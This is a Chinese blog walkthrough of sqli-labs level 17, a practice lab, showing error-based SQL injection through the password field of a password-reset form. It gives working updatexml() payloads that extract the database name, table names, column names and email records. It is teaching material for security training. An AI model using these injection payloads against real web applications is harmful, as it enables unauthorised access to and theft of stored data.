sqli-labs(17)

第十七关

进入第十七关,我们发现页面又进行了变化,显示的是密码重置,又根据题目提示为update,指的是源代码用update的方式进行密码的更新。这里我们用到的是基于update的报错注入

常见的select/insert/update/delete 注入都可以使用报错方式来获取信息

报错注入中,我们重点用到三个常见函数:extractvalue(),updatexml(),group by()

这里我就不介绍他们的用法啦,大家可以看看其他的博主

这里我们进行注入的参数变成了passwd,原因是passwd这里有注入点,进行了更新语句

还有,uname的值我们要用它提供的,因为我们用到正确的用户名才能进行密码修改,从而进行注入

1.获取数据库名

uname=Dhakkan&passwd=1' and (updatexml (1,concat(0x7e,(select database()),0x7e),1))#&submit=Submit

2.获取表名

uname=Dhakkan&passwd=1' and (updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#&submit=Submit

3.获取字段名

uname=Dhakkan&passwd=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x7e),1))#&submit=Submit

4.获取数据

这里我试了获取users表下的数据,一直获取不到【无奈】查找原因:

在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。详细sqli-labs(1-65)通关讲解-CSDN博客

uname=Dhakkan&passwd=1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#&submit=Submit

这里我只放出了获取emails表下的数据,其他的数据根据你所需要的表再获取

下面快软考啦,先好好备战软考,可能没那么多时间写这个了

  • 10
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值